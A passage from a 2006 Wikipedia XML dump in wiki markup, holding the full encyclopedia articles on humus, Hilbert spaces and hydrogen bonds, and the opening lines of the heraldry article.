[[Category:chemical kinetics]]
[[af:Halfleeftyd]]
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    </revision>
  </page>
  <page>
    <title>Humus</title>
    <id>13607</id>
    <revision>
      <id>40076241</id>
      <timestamp>2006-02-17T23:27:32Z</timestamp>
      <contributor>
        <username>DavidHallett</username>
        <id>738935</id>
      </contributor>
      <comment>Structured formatting</comment>
      <text xml:space="preserve">:''For the food, see [[Hummus]].''
:''For the band, see [[Humus (band)]].''

'''Humus''' is a complex [[organic substance]] resulting from the breakdown of plant material in a process called [[humification]].   This process can occur naturally in soil, or in the production of [[compost]]. Humus is extremely important to the fertility of soils in both a physical and chemical sense (see below).  Physically, it helps the soil retain moisture, and encourages the formation of good soil structure.  Chemically, it has many active sites which bind to ions of plant nutrients, making them more available. Humus is often described as the 'life-force' of the [[soil]].  Yet it is difficult to define humus in precise terms; it is a highly complex substance, the full nature of which is still not fully understood. Physically, humus can be differentiated from organic matter in that the latter is rough looking material, with coarse plant remains still visible, while once fully humified it become more uniform in appearance (a dark, spongy, jelly-like substance) and amorphous in structure. That is, it has no determinate shape, structure or character.

[[Plant]] remains (including those that have passed through an animal and are excreted as [[manure]]) contain organic compounds: sugars, starches, proteins, [[carbohydrate]]s, [[lignin]]s, waxes, resins and [[organic acid]]s. The process of organic matter decay in the soil begins with the decomposition of sugars and starches from carbohydrates which break down easily as [[saprophyte]]s initially invade the dead plant, while the remaining [[cellulose]] breaks down more slowly. Proteins decompose into [[amino acid]]s at a rate depending on [[carbon to nitrogen ratio]]s. Organic acids break down rapidly, while fats, waxes, resins and lignins remain relatively unchanged for longer periods of time. The humus that is the end product of this process is thus a mixture of compounds and complex life chemicals of plant, animal, or microbial origin, which has many functions and benefits in the soil.

===Benefits of Humus===
*The mineralisation process that converts raw organic matter to the relatively stable substance that is humus feeds the soil population of micro-organisms and other creatures, thus maintaining high and healthy levels of [[soil life]].
*Effective and stable humus (see below) are further sources of nutrients to [[microbe]]s, the former providing a readily available supply while the latter acts as a more long-term storage reservoir.
*Humification of dead plant material causes complex organic compounds to break down into simpler forms which are then made available to growing plants for uptake through their root systems.
*Humus is a [[colloid]]al substance, and increases the soil's [[cation exchange capacity]], hence its ability to store nutrients on [[clay]] particles; thus while these nutrient [[cation]]s are accessible to plants, they are held in the soil safe from leaching away by [[rain]] or [[irrigation]].
*Humus can hold the equivalent of 80-90% of its weight in moisture, and therefore increases the soil's capacity to withstand drought conditions.
*The biochemical structure of humus enables it to moderate &amp;ndash; or buffer &amp;ndash; excessive [[acid]] or [[alkaline]] soil conditions.
*During the Humification process, microbes secrete sticky gums; these contribute to the crumb structure of the soil by holding particles together, allowing greater [[aeration]] of the soil. Toxic substances such as [[heavy metals]], as well as excess nutrients, can be [[chelation|chelated]] (that is, bound to the complex organic molecules of humus) and prevented from entering the wider [[ecosystem]].
*The dark colour of humus (usually black or dark brown) helps to warm up cold soils in the [[spring (season)|spring]].

===Humification of leaf litter and formation of clay-humus complexes===
Humus which is readily capable of further [[decomposition]] is referred to as effective or active humus. It is principally derived from sugars, starches, and proteins, and consists of simple organic (fulvic) acids. It is an excellent source of plant nutrients, but of little value regarding long-term soil structure and tilth. Stable (or passive) humus consisting of [[humic acid]]s, or humins, on the other hand, are so highly [[insoluble]] (or tightly bound
to clay particles that they cannot be penetrated by microbes) that they are greatly resistant to further decomposition. Thus they add few readily available nutrients to the soil, but play an essential part in providing its physical structure. Some very stable humus complexes have survived for thousands of years. Stable humus tends to originate from [[wood]]ier plant materials, eg, cellulose and lignins.

==See also==
*[[Leaf litter]]

[[Category:Soil science]]

[[bg:Хумус]]
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    </revision>
  </page>
  <page>
    <title>Hilbert space</title>
    <id>13608</id>
    <revision>
      <id>41977272</id>
      <timestamp>2006-03-03T00:21:03Z</timestamp>
      <contributor>
        <ip>84.59.122.246</ip>
      </contributor>
      <comment>/* Introduction */</comment>
      <text xml:space="preserve">In [[mathematics]], a '''Hilbert space''' is a generalization of [[Euclidean space]] which is not restricted to finite dimensions.  Thus it is an [[inner product space]], which means that it has notions of [[distance]] and of [[angle]] (especially the notion of [[orthogonality]] or perpendicularity).  Moreover, it satisfies a more technical [[complete space|completeness]] requirement which ensures that [[limit]]s exist when expected, which facilitates various definitions from [[calculus]].  Hilbert spaces provide a context with which to formalize and generalize the concepts of the [[Fourier series]] in terms of arbitrary [[orthogonal polynomials]] and of the [[Fourier transform]], which are central concepts from [[functional analysis]].  Hilbert spaces are of crucial importance in the mathematical formulation of [[quantum mechanics]].

== Introduction ==

Hilbert spaces were named after [[David Hilbert]], who studied them in the context of integral equations. The origin of the designation &quot;der abstrakte Hilbertsche Raum&quot; is [[John von Neumann]] in his famous work on unbounded [[Self-adjoint operator|Hermitian operators]] published in [[1929]]. Von Neumann was perhaps the mathematician who most clearly recognized their importance as a result of his seminal work on the foundations of quantum mechanics begun with Hilbert and [[Lothar Nordheim|Lothar (Wolfgang) Nordheim]] and continued with [[Eugene Wigner]]. The name &quot;Hilbert space&quot; was soon adopted by others, for example by [[Hermann Weyl]] in his book ''The Theory of Groups and Quantum Mechanics'' published in [[1931]] (English language paperback ISBN 0486602699). 

The elements of an abstract Hilbert space are sometimes called &quot;vectors&quot;. In applications, they are typically [[sequence]]s of [[complex number]]s or [[function (mathematics)|function]]s. In quantum mechanics for example, a physical system is described by a complex Hilbert space which contains the &quot;[[wavefunction]]s&quot; that stand for the possible states of the system. See [[mathematical formulation of quantum mechanics]] for details.  The Hilbert space of [[plane wave]]s and [[bound state]]s commonly used in quantum mechanics is known more formally as the [[rigged Hilbert space]].

== Definition ==

Every [[inner product space|inner product]] &lt;.,.&gt; on a [[real number|real]] or [[complex number|complex]] [[vector space]] ''H'' gives rise to a [[normed vector space|norm]] ||.|| as follows:
:&lt;math&gt;\|x\| = \sqrt{\langle x,x \rangle}&lt;/math&gt;

We call ''H'' a '''Hilbert space''' if it is [[complete space|complete]] with respect to this norm. Completeness in this context means that every [[Cauchy sequence]] of elements of the space [[limit (mathematics)|converges]] to an element in the space, in the sense that the norm of differences approaches zero. Every Hilbert space is thus also a [[Banach space]] (but not vice versa).

All finite-dimensional inner product spaces (such as [[Euclidean space]] with the ordinary [[dot product]]) are Hilbert spaces. However, the infinite-dimensional examples are much more important in applications.  These applications include:
* The theory of [[unitary representation|unitary group representations]]
* The theory of square integrable [[stochastic process]]es
* The Hilbert space theory of [[partial differential equation]]s, in particular formulations of the [[Dirichlet problem]]
* Spectral analysis of functions, including theories of [[wavelet]]s
* Mathematical formulations of [[quantum mechanics]]
The inner product allows one to adopt a &quot;geometrical&quot; view and use geometrical language familiar from finite dimensional spaces. Of all the infinite-dimensional [[topological vector space]]s, the Hilbert spaces are the most &quot;[[well-behaved]]&quot; and the closest to the finite-dimensional spaces.

One goal of [[Fourier analysis]] is to write a given function as a (possibly infinite) sum of multiples of given base functions. This problem can be studied abstractly in Hilbert spaces: every Hilbert space has an [[orthonormal basis]], and every element of the Hilbert space can be written in a unique way as a sum of multiples of these base elements.

== Examples ==

In these examples, we will assume the underlying field of
scalars is '''C''', although the definitions apply to the case in which the
underlying field of scalars is '''R'''.

===Euclidean spaces ===
'''C'''&lt;sup&gt;''n''&lt;/sup&gt; with the inner product definition 
:&lt;math&gt;\langle x, y \rangle = \sum_{k=1}^n \overline{x_k} y_k&lt;/math&gt; 
where the bar over a [[complex number]] denotes its [[complex conjugate]].

===Sequence spaces===
Much more typical are the infinite dimensional Hilbert spaces however. 
If ''B'' is any [[set]], we define the [[sequence space]] ''little l&lt;sup&gt;2&lt;/sup&gt;'' over ''B'', denoted by
:&lt;math&gt; \ell^2(B) =\left\{ x:B \rightarrow \mathbb{C}\,\bigg|\,\sum_{b \in B} \left|x \left(b\right)\right|^2 &lt; \infty \right\}&lt;/math&gt;
This space becomes a Hilbert space with the inner product
:&lt;math&gt;\langle x, y \rangle = \sum_{b \in B} \overline{x(b)} y(b)&lt;/math&gt;
for all ''x'' and ''y'' in ''l''&lt;sup&gt;2&lt;/sup&gt;(''B'').
''B'' does not have to be a countable set in this definition, although if ''B'' is not countable, the resulting Hilbert space is ''not'' [[separable space|separable]]. In a sense made more precise below, every Hilbert space is [[isomorphic]] to one the form ''l''&lt;sup&gt;2&lt;/sup&gt;(''B'') for a suitable set ''B''.  If ''B''='''N''', we write  simply ''l''&lt;sup&gt;2&lt;/sup&gt;.

===Lebesgue spaces=== 
These are [[function space]]s associated to [[measure space]]s (''X'', ''M'', &amp;mu;), where ''M'' is a &amp;sigma;-algebra of subsets of ''X'' and &amp;mu; is a countably additive measure on ''M''. Let ''L''&lt;sup&gt;2&lt;/sup&gt;&lt;sub&gt;&amp;mu;&lt;/sub&gt;(''X'') be the space of complex-valued square-integrable measurable functions on ''X'', modulo equality almost everywhere. Square integrable means the integral of the square of its [[absolute value]] is finite. ''Modulo equality almost everywhere'' means functions are identified if and only if they are equal ''outside of a set of measure 0''.

The inner product of  functions ''f'' and ''g'' is here given by
:&lt;math&gt;\langle f,g\rangle=\int_X \overline{f(t)} g(t) \ d \mu(t)&lt;/math&gt;
One needs to show:
* That this integral indeed makes sense;
* The resulting space is complete.
These are technically easy facts, and the interested reader should consult the Halmos reference below, Section 42. Note that the use of the Lebesgue integral ensures that the space will be complete. See [[Lp space|L&lt;sup&gt;''p''&lt;/sup&gt; space]] for further discussion of this example.

===Sobolev spaces===
[[Sobolev space]]s, denoted by &lt;math&gt;H^s&lt;/math&gt; or &lt;math&gt;W^{s,2}&lt;/math&gt;, are another example of Hilbert spaces, and are used very often in the field of [[Partial differential equation]]s.

== Operations on Hilbert spaces ==
Given two (or more) Hilbert spaces, we can combine them into a big Hilbert space by taking their [[direct sum#Direct sum of Hilbert spaces|direct sum]] or their [[tensor product#Tensor product of Hilbert spaces|tensor product]].

== Bases ==

An important concept is that of an '''[[orthonormal basis]]''' of a Hilbert space ''H'': this is a family {''e''&lt;sub&gt;''k''&lt;/sub&gt;}&lt;sub&gt;''k''  &amp;isin;  ''B''&lt;/sub&gt; of ''H'' satisfying:
# Elements are normalized: Every element of the family has norm 1: ||''e''&lt;sub&gt;''k''&lt;/sub&gt;|| = 1 for all ''k'' in ''B''
# Elements are orthogonal: Every two different elements of ''B'' are orthogonal: &lt;''e''&lt;sub&gt;''k''&lt;/sub&gt;, ''e''&lt;sub&gt;''j''&lt;/sub&gt;&gt; = 0 for all ''k'', ''j'' in ''B'' with ''k'' &amp;ne; ''j''.
# Dense span: The [[linear span]] of ''B'' is [[dense set|dense]] in ''H''.

We also use the expressions ''orthonormal sequence'' and ''orthonormal set''.

Examples of orthonormal bases include:
* the set {(1,0,0),(0,1,0),(0,0,1)} forms an orthonormal basis of '''R'''&lt;sup&gt;3&lt;/sup&gt;
* the sequence {''f''&lt;sub&gt;''n''&lt;/sub&gt; : ''n'' &amp;isin; '''Z'''} with ''f''&lt;sub&gt;''n''&lt;/sub&gt;(''x'') = [[exponential function|exp]](2&amp;pi;''inx'') forms an orthonormal basis of the complex space L&lt;sup&gt;2&lt;/sup&gt;([0,1])
* the family {''e''&lt;sub&gt;''b''&lt;/sub&gt; : ''b'' &amp;isin; ''B''} with ''e''&lt;sub&gt;''b''&lt;/sub&gt;(''c'') = 1 if ''b''=''c'' and 0 otherwise forms an orthonormal basis of ''l''&lt;sup&gt;2&lt;/sup&gt;(''B'').

Note that in the infinite-dimensional case, an orthonormal basis will not be a basis in the sense of [[linear algebra]]; to distinguish the two, the latter basis is also called a [[Hamel basis]].

Using [[Zorn's lemma]], one can show that ''every'' Hilbert space admits an orthonormal basis; furthermore, any two orthonormal bases of the same space have the same [[cardinal number|cardinality]]. A Hilbert space is [[separable space|separable]] if and only if it admits a [[countable]] orthonormal basis. 

Since all infinite-dimensional separable Hilbert spaces are isomorphic, and since almost all Hilbert spaces used in [[physics]] are separable, when physicists talk about ''the Hilbert space'' they mean any separable one.

If {''e''&lt;sub&gt;''k''&lt;/sub&gt;}&lt;sub&gt;''k'' &amp;isin; ''B''&lt;/sub&gt; is an orthonormal basis of ''H'', then every element ''x'' of ''H'' may be written as

:&lt;math&gt;x = \sum_{k \in B} \langle e_k , x \rangle e_k &lt;/math&gt;

Even if ''B'' is uncountable, only countably many terms in this sum will be non-zero, and the expression is therefore well-defined. This sum is also called the ''Fourier expansion'' of ''x''.

If {''e''&lt;sub&gt;''k''&lt;/sub&gt;}&lt;sub&gt;''k'' &amp;isin; ''B''&lt;/sub&gt; is an orthonormal basis of ''H'', then ''H'' is ''isomorphic'' to ''l''&lt;sup&gt;2&lt;/sup&gt;(''B'') in the following sense: there exists a [[bijective]] [[linear operator|linear]] map &amp;Phi; : ''H'' &amp;rarr; ''l''&lt;sup&gt;2&lt;/sup&gt;(''B'') such that
:&lt;math&gt;\langle \Phi \left(x\right), \Phi\left(y\right) \rangle = \langle x, y \rangle&lt;/math&gt;
for all ''x'' and ''y'' in ''H''.

== Orthogonal complements and projections ==

If ''S'' is a subset of a Hilbert space ''H'', we define the set of vectors orthogonal to ''S''

:&lt;math&gt;S^\mathrm{perp} = \left\{ x \in H : \langle x, s \rangle = 0\ \forall s \in S \right\}&lt;/math&gt;

''S''&lt;sup&gt;perp&lt;/sup&gt; is a [[closed set|closed]] subspace of ''H'' and so forms itself a Hilbert space. If ''V'' is a closed subspace of ''H'', then ''V''&lt;sup&gt;perp&lt;/sup&gt; is called the ''orthogonal complement'' of ''V''. In fact, every ''x'' in ''H'' can then be written  uniquely as ''x'' = ''v'' + ''w'', with ''v'' in ''V'' and ''w'' in ''V''&lt;sup&gt;perp&lt;/sup&gt;. Therefore, ''H'' is the internal Hilbert direct sum of ''V'' and ''V''&lt;sup&gt;perp&lt;/sup&gt;. The linear operator P&lt;sub&gt;''V''&lt;/sub&gt; : ''H'' &amp;rarr; ''H'' which maps ''x'' to ''v'' is called the ''orthogonal projection'' onto ''V''. 

'''Theorem'''. The orthogonal projection P&lt;sub&gt;''V''&lt;/sub&gt; is a self-adjoint linear operator on ''H'' of norm &amp;le; 1 with the property P&lt;sub&gt;''V''&lt;/sub&gt;&lt;sup&gt;2&lt;/sup&gt; = P&lt;sub&gt;''V''&lt;/sub&gt;.  Moreover, any self-adjoint linear operator  ''E'' such that ''E''&lt;sup&gt;2&lt;/sup&gt; = ''E'' is of the form  P&lt;sub&gt;''V''&lt;/sub&gt;, where ''V'' is the range of ''E''. For every ''x'' in ''H'', P&lt;sub&gt;''V''&lt;/sub&gt;(''x'') is the unique element ''v'' of ''V'' which minimizes the distance ||''x'' - ''v''||. 

This provides the geometrical interpretation of P&lt;sub&gt;''V''&lt;/sub&gt;(''x''): it is the best approximation to ''x'' by elements of ''V''.

== Reflexivity ==

An important property of any Hilbert space is its [[reflexive space|reflexivity]]. In fact, more is true: one has a complete and convenient description of its [[dual space]] (the space of all [[continuous function (topology)|continuous]] linear functions from the space ''H'' into the base field), which is itself a Hilbert space. Indeed, the [[Riesz representation theorem]] states that to every element &amp;phi; of the dual ''H''' there exists one and only one ''u'' in ''H'' such that
:&lt;math&gt;\phi \left(x\right) = \langle u, x \rangle&lt;/math&gt; 
for all ''x'' in ''H'' and the association &amp;phi; &amp;harr; ''u'' provides an antilinear isomorphism between ''H'' and ''H'''. This correspondence is exploited by the [[bra-ket notation]] popular in [[physics]] but frowned upon by mathematicians.

== Bounded operators ==

For a Hilbert space ''H'', the [[continuous function (topology)|continuous]] [[linear operator|linear operators]] ''A'' : ''H'' &amp;rarr; ''H'' are of particular interest. Such a continuous operator is ''bounded'' in the sense that it maps [[bounded set]]s to bounded sets. This allows to define its [[operator norm|norm]] as

:&lt;math&gt;\lVert A \rVert = \sup \left\{\,\lVert Ax \rVert : \lVert x \rVert \leq 1\,\right\}.&lt;/math&gt;

The sum and the composition of two continuous linear operators is again continuous and linear. For ''y'' in ''H'', the map that sends ''x'' to &lt;''y'', ''Ax''&gt; is linear and continuous, and according to the [[Riesz representation theorem]] can therefore be represented in the form

:&lt;math&gt;\langle A^* y, x \rangle = \langle y, Ax \rangle.&lt;/math&gt;

This defines another continuous linear operator ''A''&lt;sup&gt;*&lt;/sup&gt; : ''H'' &amp;rarr; ''H'', the [[Hermitian adjoint|adjoint]] of ''A''.

The set L(''H'') of all continuous linear operators on ''H'', together with the addition and composition operations, the norm and the adjoint operation, forms a [[C*-algebra|C&lt;sup&gt;*&lt;/sup&gt;-algebra]]; in fact, this is the motivating prototype and most important example of a C&lt;sup&gt;*&lt;/sup&gt;-algebra.

An element ''A'' of L(''H'') is called ''self-adjoint'' or ''Hermitian'' if ''A''&lt;sup&gt;*&lt;/sup&gt; = ''A''. These operators share many features of the [[real number|real numbers]] and are sometimes seen as generalizations of them.

An element ''U'' of L(''H'') is called ''[[unitary operator | unitary]]'' if ''U'' is invertible and its inverse is given by ''U''&lt;sup&gt;*&lt;/sup&gt;. This can also be expressed by requiring that &lt;''Ux'', ''Uy''&gt; = &lt;''x'', ''y''&gt; for all ''x'' and  ''y'' in ''H''. The unitary operators form a [[group (mathematics)|group]] under composition, which can be viewed as the [[automorphism group]] of ''H''.

== Unbounded operators ==

If a linear operator has a closed graph and is defined on all of a Hilbert space, then, by the [[closed graph theorem]] in [[Banach space]] theory, it is necessarily bounded. However, if we allow ourselves to define a linear map that is defined on a proper [[subspace]] of the Hilbert space, then we can obtain unbounded operators.

In [[quantum mechanics]], several interesting unbounded operators are defined on a [[dense set | dense]] subspace of Hilbert space. It is possible to define [[self-adjoint operator| self-adjoint unbounded operators]], and these play the role of the ''observables'' in the mathematical formulation of quantum mechanics. 

Examples of self-adjoint unbounded operator on the Hilbert space ''L''&lt;sup&gt;2&lt;/sup&gt;('''R''') are:

* A suitable extension of the differential operator

:: &lt;math&gt; [A f](x) = i \frac{d}{dx} f(x), \quad &lt;/math&gt; 

: where ''i'' is the imaginary unit and ''f'' is a differentiable function of compact support.

* The multiplication by ''x'' operator: 

:: &lt;math&gt;  [B f] (x) = xf(x).\quad  &lt;/math&gt;

These correspond to the [[momentum]] and position observables, respectively. Note that neither ''A'' nor ''B'' is defined on all of ''H'', since in the case of ''A'' the derivative need not exist, and in the case of ''B'' the product function need not be square integrable. In both cases, the set of possible arguments form dense subspaces of ''L''&lt;sup&gt;2&lt;/sup&gt;('''R''').

==See also==

*[[Topologies on the set of operators on a Hilbert space]]
*[[Operator algebra]]
*[[Reproducing kernel Hilbert space]]
*[[Rigged Hilbert space]]

*[[Mathematical analysis]]
*[[Functional analysis]]
*[[Harmonic analysis]]

== References ==
* Jean Dieudonné, ''Foundations of Modern Analysis'', Academic Press, 1960.
* Paul Halmos, ''Measure Theory'', D. van Nostrand Co, 1950.
* David Hilbert, Lothar Nordheim, and John von Neumann, &quot;Über die Grundlagen der Quantenmechanik,&quot; Mathematische Annalen, volume 98, pages 1-30, 1927.
* John von Neumann, &quot;Allgemeine Eigenwerttheorie Hermitescher Funktionaloperatoren,&quot; Mathematische Annalen, volume 102, pages 49-131, 1929.
* Hermann Weyl, ''The Theory of Groups and Quantum Mechanics'', Dover Press, 1950. This book was originally published in German in 1931.
*[http://www-128.ibm.com/developerworks/ru/forums/dw_thread.jsp?forum=1&amp;thread=116&amp;cat=4 Quantum Hilbert-space X-OLAP and Extensions JAVA]

[[Category:Group theory]]
[[Category:Hilbert space|*]]
[[Category:Linear algebra]]
[[Category:Operator theory]]
[[Category:Quantum mechanics]]

[[cs:Hilbertův prostor]]
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[[es:Espacio de Hilbert]]
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[[ko:힐베르트 공간]]
[[it:Spazio di Hilbert]]
[[he:מרחב הילברט]]
[[hu:Hilbert-tér]]
[[nl:Hilbertruimte]]
[[ja:ヒルベルト空間]]
[[pl:Przestrzeń Hilberta]]
[[ru:Гильбертово пространство]]
[[sk:Hilbertov priestor]]
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[[zh:希尔伯特空间]]</text>
    </revision>
  </page>
  <page>
    <title>Hydrogen bond</title>
    <id>13609</id>
    <revision>
      <id>41073100</id>
      <timestamp>2006-02-24T21:54:57Z</timestamp>
      <contributor>
        <username>Itub</username>
        <id>426390</id>
      </contributor>
      <comment>/* Hydrogen bond in water */</comment>
      <text xml:space="preserve">[[Image:Liquid_water_simulation.jpg|thumb|right|400px|Snapshot from a simulation of liquid water. The four thin green lines from the molecule in the center of the picture represent hydrogen bonds.]]
In [[chemistry]], a '''hydrogen bond''' is a type of attractive [[intermolecular force]] that exists between two [[partial charge|partial]] [[electric charge]]s of opposite polarity. Although stronger than most other [[intermolecular force]]s, the typical hydrogen bond is much weaker than both the [[ionic bond]] and the [[covalent bond]]. Within [[macromolecule]]s such as [[protein]]s and [[nucleic acid]]s, it can exist between two parts of the same molecule, and figures as an important constraint on such molecules' overall shape. 

As the name &quot;hydrogen bond&quot; implies, one part of the bond involves a [[hydrogen]] [[atom]]. The hydrogen must be attached to a strongly [[electronegative]]
[[heteroatom]], such as [[oxygen]], [[nitrogen]] or [[fluorine]], which is called the hydrogen-bond ''donor''. This electronegative element attracts the electron cloud from around the hydrogen nucleus and, by decentralizing the cloud, leaves the atom with a positive partial charge. Because of the small size of hydrogen relative to other atoms and molecules, the resulting charge, though only partial, nevertheless represents a large charge density. A hydrogen bond results when this strong positive charge density attracts a [[lone pair]] of electrons on another [[heteroatom]], which becomes the hydrogen-bond ''acceptor''.  

The hydrogen bond is not like a simple attraction between point charges, however. It possesses some degree of orientational preference, and can be shown to have some of the characteristics of a covalent bond.  This covalency tends to be more extreme when acceptors bind hydrogens from more electronegative donors. 

Strong covalency in a hydrogen bond raises the questions: &quot;To which molecule or atom does the hydrogen [[atomic nucleus|nucleus]] belong?&quot; and &quot;Which should be labelled 'donor' and which 'acceptor'?&quot; According to chemical convention, the donor generally is that atom to which, on separation of donor and acceptor, the retention of the hydrogen nucleus (or [[proton]]) would cause no increase in the atom's positive charge. The acceptor meanwhile is the atom or molecule that would become more positive by retaining the positively charged proton. Liquids that display hydrogen bonding are called '''associated liquids'''.

Hydrogen bonds can vary in strength from very weak (1-2 kJ mol&lt;sup&gt;&amp;minus;1&lt;/sup&gt;) to so strong (40 kJ mol&lt;sup&gt;&amp;minus;1&lt;/sup&gt;) so as to be indistinguishable from a covalent bond, as in the ion HF&lt;sub&gt;2&lt;/sub&gt;&lt;sup&gt;&amp;minus;&lt;/sup&gt;.  Typical values include:
* O&amp;mdash;H&lt;sup&gt;...&lt;/sup&gt;:N  (7 kcal/mol)
* O&amp;mdash;H&lt;sup&gt;...&lt;/sup&gt;:O  (5 kcal/mol)
* N&amp;mdash;H&lt;sup&gt;...&lt;/sup&gt;:N  (3 kcal/mol)
* N&amp;mdash;H&lt;sup&gt;...&lt;/sup&gt;:O  (2 kcal/mol)

The length of hydrogen bonds depends on bond strength, temperature and pressure. The typical length of a hydrogen bond in water is 197 pm (1.97 Å).

== Hydrogen bond in water ==

The most ubiquitous, and perhaps simplest, example of a hydrogen bond is
found between [[water]] molecules.  In a discrete water molecule, water has two hydrogen atoms and one oxygen atom.  Two molecules of water can form a hydrogen bond between them; the simplest case, when only two molecules are present, is called the [[water dimer]] and is often used as a model system. When more molecules are present, as is the case in liquid water, more bonds are possible because the oxygen of one water molecule has two lone pairs of electrons, each of which can form a hydrogen bond with hydrogens on two other water molecules. This can repeat so that every water molecule is H-bonded with up to four other molecules, as shown in the figure (two through its two lone pairs, and two through its two hydrogen atoms.) 

[[Liquid]] water's high [[boiling point]] is due to the high number of hydrogen bonds each molecule can have relative to its low [[molecular mass]]. Water is unique because its oxygen atom has two lone pairs and two hydrogen atoms, meaning that the total number of bonds of a water molecule is up to four. For example, hydrogen fluoride - which has three lone pairs on the F atom but only one H atom - can have a total of only two bonds ([[ammonia]] has the opposite problem: three hydrogen atoms but only one lone pair).

:H-F&lt;sup&gt;...&lt;/sup&gt;H-F&lt;sup&gt;...&lt;/sup&gt;H-F

The exact number of hydrogen bonds in which a molecule in liquid water participates fluctuates with time and depends on the temperature. From [[TIP4P]] liquid water simulations at 25 °C, it was estimated that each water molecule  participates in an average of 3.59 hydrogen bonds. At 100 °C, this number decreases to 3.24 due to the increased molecular motion and decreased density, while at 0 °C, the average number of hydrogen bonds increases to 3.69 (''Mol. Phys.'' '''1985''', ''56'', 1381).

Were the bond strengths more equivalent, one might instead find the atoms of two interacting water molecules partitioned into two [[polyatomic ion]]s of opposite charge, specifically [[hydroxide]] (OH&lt;sup&gt;&amp;minus;&lt;/sup&gt;) and [[hydronium]] (H&lt;sub&gt;3&lt;/sub&gt;O&lt;sup&gt;+&lt;/sup&gt;) (Hydronium ions are also known as 'hydroxonium' ions.)

:H-O&lt;sup&gt;&amp;minus;&lt;/sup&gt;  H&lt;sub&gt;3&lt;/sub&gt;O&lt;sup&gt;+&lt;/sup&gt;

Indeed, in pure water under conditions of [[standard temperature and pressure]], this latter formulation is applicable only rarely; on average about one in every 5.5 × 10&lt;sup&gt;8&lt;/sup&gt; molecules gives up a proton to another water molecule, in accordance with the value of the [[dissociation constant]] for water under such conditions.

== Hydrogen bond in proteins and DNA==

Hydrogen bonding also plays an important role in determining the three-dimensional structures adopted by proteins and nucleic bases. In these macromolecules, bonding between parts of the same macromolecule cause it to fold into a specific shape, which helps determine the molecule's physiological or biochemical role. The double helical structure of [[DNA]], for example, is due largely to hydrogen bonding between the [[base pair]]s, which link one complementary strand to the other and enable [[DNA replication|replication]]. 

In proteins, hydrogen bonds form between the backbone oxygens and amide
hydrogens.  When the spacing of the [[amino acid]] residues participating in
a hydrogen bond occurs regularly between positions ''i'' and ''i''&amp;nbsp;+&amp;nbsp;4, 
an [[alpha helix]] is formed.  When the spacing is less, between positions ''i''
and ''i''&amp;nbsp;+&amp;nbsp;3, then a 3&lt;sub&gt;10&lt;/sub&gt; helix is formed. When two strands are
joined by hydrogen bonds involving alternating residues on each
participating strand, a [[beta sheet]] is formed.  (See also [[protein folding]]).

== Symmetric hydrogen bond== 

[[Symmetric hydrogen bonds]] have been observed recently spectroscopically  in [[formic acid]] at high pressure (&gt;GPa). Each hydrogen atom forms a partial covalent bond with two atoms rather than one. Symmetric hydrogen bonds have been postulated in ice at high pressure (ice-X).  See references below (Goncharov, et al.)

== Dihydrogen bond ==

The hydrogen bond can be compared with the closely related [[dihydrogen bond]], which is also an [[Intermolecular force|intermolecular]] bonding interaction involving hydrogen atoms.  These structures have been known for some time, and well characterized by [[X-ray crystallography|crystallography]]; however, an understanding of their relationship to the conventional hydrogen bond, [[ionic bond]], and [[covalent bond]] remains unclear.  Generally, the hydrogen bond is characterized by a proton acceptor that is a lone pair of electrons in nonmetallic atoms (most notably in the [[nitrogen group|nitrogen]], and [[chalcogen]] groups).  In some cases, these proton acceptors may be [[pi-bond]]s or [[metal complexes]].  In the dihydrogen bond, however, a metal hydride serves as a proton acceptor; thus forming a hydrogen-hydrogen interaction.  [[Neutron diffraction]] has shown that the [[molecular geometry]] of these complexes are similar to hydrogen bonds, in that the bond length is very adaptable to the metal complex/hydrogen donor system.

== Advanced theory of the hydrogen bond ==

The hydrogen bond remains a fairly mysterious object in the theoretical study of [[quantum field theory|quantum]] [[quantum chemistry|chemistry]] and [[physics]].  Most generally, the hydrogen bond can be viewed as a [[Metric (mathematics)|metric]] dependent [[electrostatic]] [[scalar field]] between two or more intermolecular bonds.  This is slightly different than the [[intramolecular]] [[bound states]] of, for example, [[covalent bond|covalent]] or [[ionic bond]]s; however, hydrogen bonding is generally still a bound state phenomenon, since the [[interaction energy]] has a net negative sum.  The question of the relationship between the covalent bond and the hydrogen bond remains largely unsettled, though the initial theory proposed by [[Linus Pauling]] suggests that the hydrogen bond has a partial covalent nature.  While a lot of experimental data has been recovered for hydrogen bonds in [[water (molecule)|water]], for example, that provide good resolution on the scale of intermolecular distances and [[thermodynamics|molecular thermodynamics]], the [[kinetic theory|kinetic]] and [[nonlinear dynamics|dynamical]] properties of the hydrogen bond in [[dynamics (mechanics)|dynamic]] systems remains largely mysterious. 


== References == 
* George A. Jeffrey. ''An Introduction to Hydrogen Bonding (Topics in Physical Chemistry)''. Oxford University Press, USA (March 13, 1997). ISBN 0195095499
*A New Intermolecular Interaction: Unconventional Hydrogen Bonds with Element-Hydride Bonds as Proton Acceptor Robert H. Crabtree, Per E. M. Siegbahn, Odile Eisenstein, Arnold L. Rheingold, and Thomas F. Koetzle ''Acc. Chem. Res.'' '''1996''', ''29(7)'', 348 - 354.
* Polymerization of Formic Acid under High Pressure Alexander F. Goncharov, M. Riad Manaa, Joseph M. Zaug, Richard H. Gee, Laurence E. Fried, and Wren B. Montgomery ''Phys. Rev. Lett.'' '''2005''', ''94'', 065505. 

[[Category:Chemical bonding]]
[[Category:Hydrogen|Bond]]

[[ca:Pont d'hidrogen]]
[[cs:Vodíková vazba]]
[[de:Wasserstoffbrückenbindung]]
[[es:Enlace de hidrógeno]]
[[fr:Liaison hydrogène]]
[[gl:Enlace de hidróxeno]]
[[it:Legame idrogeno]]
[[he:קשרי מימן]]
[[nl:Waterstofbrug]]
[[ja:水素結合]]
[[nn:Hydrogenbinding]]
[[pl:Wiązanie wodorowe]]
[[pt:Ponte de hidrogênio]]
[[ru:Водородная связь]]
[[sr:Водонична веза]]
[[fi:Vetysidos]]
[[sv:Vätebindning]]
[[th:พันธะไฮโดรเจน]]
[[zh:氢键]]</text>
    </revision>
  </page>
  <page>
    <title>Heraldry</title>
    <id>13610</id>
    <revision>
      <id>41834902</id>
      <timestamp>2006-03-02T01:23:19Z</timestamp>
      <contributor>
        <username>Tamfang</username>
        <id>609725</id>
      </contributor>
      <minor />
      <comment>/* Continental */ diacritics</comment>
      <text xml:space="preserve">'''Heraldry''' is the [[science]] and [[art]] of designing, displaying, describing and recording [[coat of arms|coats-of-arms]] (also referred to as &quot;armorial bearings&quot; or simply as &quot;arms&quot;). Its origins lie in the need to distinguish participants in [[battle]]s or [[jousting|jousts]], whose faces were hidden by steel [[helmet]]s.

